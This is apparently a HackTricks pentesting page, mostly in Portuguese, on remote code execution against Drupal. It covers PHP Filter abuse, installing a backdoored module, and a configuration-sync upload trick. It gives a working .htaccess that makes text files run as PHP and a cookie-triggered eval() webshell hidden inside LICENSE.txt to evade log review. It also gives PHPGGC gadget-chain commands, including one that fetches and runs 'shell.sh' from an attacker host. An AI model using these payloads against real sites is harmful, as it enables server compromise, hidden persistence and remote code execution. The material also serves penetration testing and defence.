Drupal RCE
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Com PHP Filter Module
Warning
Em versões mais antigas do Drupal (antes da versão 8), era possível fazer login como admin e habilitar o módulo
PHP filter, que “Permite que trechos de código PHP sejam avaliados.” Mas a partir da versão 8 este módulo não vem instalado por padrão.
- Vá para /modules/php e se um erro 403 for retornado então o PHP filter plugin está instalado e você pode continuar
- Se não, vá para
Modulese marque a caixa dePHP Filtere então emSave configuration - Então, para explorá-lo, clique em
Add content, depois selecioneBasic PageouArticlee escreva a PHP backdoor, então selecionePHPcode no formato Text e finalmente selecionePreview - Para acioná-lo, basta acessar o node recém-criado:
curl http://drupal.local/node/3
Instalar o módulo PHP Filter
Warning
Nas versões atuais não é mais possível instalar plugins apenas tendo acesso via web após a instalação padrão.
A partir da versão 8 em diante, o PHP Filter módulo não é instalado por padrão. Para aproveitar essa funcionalidade, teríamos que instalar o módulo nós mesmos.
- Baixe a versão mais recente do módulo no site do Drupal.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz- Uma vez baixado vá para
Administration>Reports>Available updates. - Clique em
Browse, selecione o arquivo no diretório onde o baixamos, e então clique emInstall. - Depois que o módulo estiver instalado, podemos clicar em
Contente criar uma nova página básica, similar ao que fizemos no exemplo do Drupal 7. Novamente, certifique-se de selecionarPHP codeno dropdownText format.
Módulo com backdoor
Warning
Nas versões atuais não é mais possível instalar plugins apenas tendo acesso via web após a instalação padrão.
Era possível fazer download de um módulo, adicionar um backdoor a ele e instalá‑lo. Por exemplo, baixando o módulo Trurnstile em formato compactado, criando um novo arquivo PHP backdoor dentro dele, permitindo o acesso ao arquivo PHP com um arquivo .htaccess:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
E então vá para http://drupal.local/admin/modules/install para instalar o backdoored module e acessar /modules/turnstile/back.php para executá-lo.
Backdooring Drupal with Configuration synchronization
Post compartilhado por Coiffeur0x90
Parte 1 (ativação de Media e Media Library)
No menu Extend (/admin/modules), você pode ativar o que aparentam ser plugins já instalados. Por padrão, os plugins Media e Media Library não parecem estar ativados, então vamos ativá-los.
Before activation:
 (1) (1) (1) (1).png)
After activation:
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
 (1) (1) (1) (1) (1) (1).png)
Parte 2 (aproveitando o recurso Configuration synchronization)
Vamos aproveitar o recurso Configuration synchronization para dump (export) e upload (import) de entradas de configuração do Drupal:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Patch system.file.yml
Vamos começar modificando a primeira entrada allow_insecure_uploads de:
File: system.file.yml
...
allow_insecure_uploads: false
...
 (1) (1) (1) (1) (1) (1).png)
Para:
File: system.file.yml
...
allow_insecure_uploads: true
...
 (1) (1) (1) (1) (1).png)
Aplique o patch em field.field.media.document.field_media_document.yml
Em seguida, aplique o patch na segunda entrada file_extensions de:
Arquivo: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
 (1) (1) (1).png)
Para:
Arquivo: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Eu não o uso neste post do blog, mas observa-se que é possível definir a entrada
file_directoryde forma arbitrária e que ela é vulnerável a um path traversal attack (assim podemos subir na árvore do sistema de arquivos do Drupal).
 (1) (1) (1).png)
Parte 3 (aproveitando o recurso Add Document)
O último passo é o mais simples e é dividido em dois subpassos. O primeiro é enviar um arquivo no formato .htaccess para aproveitar as diretivas do Apache e permitir que arquivos .txt sejam interpretados pelo engine PHP. O segundo é enviar um arquivo .txt contendo nosso payload.
Arquivo: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
Por que esse truque é interessante?
Porque, uma vez que a Webshell (que vamos chamar de LICENSE.txt) é colocada no servidor web, podemos transmitir nossos comandos via $_COOKIE e, nos logs do servidor web, isso aparecerá como uma requisição GET legítima a um arquivo de texto.
Por que nomear nossa Webshell LICENSE.txt?
Simplesmente porque, se pegarmos o seguinte arquivo, por exemplo core/LICENSE.txt (que já está presente no Drupal core), temos um arquivo de 339 linhas e 17.6 KB de tamanho, o que é perfeito para adicionar um pequeno trecho de código PHP no meio (já que o arquivo é grande o suficiente).
 (1) (1) (1).png)
Arquivo: Patched LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Parte 3.1 (upload file .htaccess)
First, we leverage the Add Document (/media/add/document) feature to upload our file containing the Apache directives (.htaccess).
 (1) (1) (1).png)
 (1) (1) (1).png)
 (1) (1) (1).png)
Parte 3.2 (upload file LICENSE.txt)
Then, we leverage the Add Document (/media/add/document) feature again to upload a Webshell hidden within a license file.
 (1).png)
 (1).png)
 (1).png)
Parte 4 (interação com o Webshell)
A última parte consiste em interagir com o Webshell.
Como mostrado na captura abaixo, se o cookie esperado pelo nosso Webshell não estiver definido, obtemos o resultado a seguir ao acessar o arquivo via navegador web.
 (1).png)
Quando o atacante define o cookie, ele pode interagir com o Webshell e executar quaisquer comandos que desejar.
 (1).png)
E, como pode ver nos logs, parece que apenas um arquivo txt foi requisitado.
 (1).png)
Obrigado por dedicar tempo para ler este artigo, espero que ajude a obter alguns shells.
Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008)
Two advisories published 20 Nov 2024 (CVE-2024-55637 & CVE-2024-55638) describe new PHP object gadget chains in Drupal core (7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, early 11.x). They are not directly exploitable but give attackers a ready-made chain once any contrib/module performs unserialize() on user input.
Practical exploitation workflow:
- Find the unserialize sink (contrib module or custom code). Grep codebase for
unserialize(orDrupal\Component\Serialization\PhpSerialize::decode. Target endpoints that accept POST/JSON or configuration imports. - Generate a payload using the vulnerable class path that matches the gadget chain. After SA-CORE-2024-008, the public chain was added to common payload generators. Example with PHPGGC (commit ≥ Dec 2024):
./phpggc drupal/rce2 system 'id' > payload.ser
- Entregue o blob serializado ao sink (por exemplo, parâmetro que é desserializado). Para um corpo form-encoded:
curl -X POST https://target/admin/config/some/module \
-d "serialized_setting=$(cat payload.ser)"
- Trigger destruction (frequentemente automático ao fim da requisição) e execute o comando.
Notas para testes:
- Gadget works only on versions prior to 10.2.11 / 10.3.9 / 7.102 (patched). Verify target version via
/core/lib/Drupal.phporCHANGELOG.txt. - Drivers de BD de terceiros podem exigir endurecimento extra; procure implantações que tenham perdido a janela de atualização de segurança.
Módulos contrib recentes unsafe deserialization → RCE
Vários módulos contrib corrigiram caminhos inseguros de unserialize() no final de 2024. Se o site estiver sem essas atualizações, eles fornecem o exploitable sink exigido pela core gadget chain:
- Mailjet (<4.0.1, CVE-2024-13296): dados controlados pelo administrador passados para
unserialize(), permitindo PHP Object Injection → RCE quando encadeado com os core gadgets. - Eloqua (7.x-1.x < 1.15, CVE-2024-13297): uso inseguro similar de
unserialize()acessível por usuários comaccess administration pages.
Ideia de teste (autenticado):
phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
-F "import=@p.ser" https://target/admin/config/eloqua/import
Se o módulo desserializa os dados carregados, a gadget chain resulta em RCE. Combine com XSS/CSRF para roubar admin cookies e obter uma cadeia de ataque completa.
Referências
- Drupal core – gadget chain – SA-CORE-2024-008
- Mailjet module – arbitrary PHP code execution – SA-CONTRIB-2024-062
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


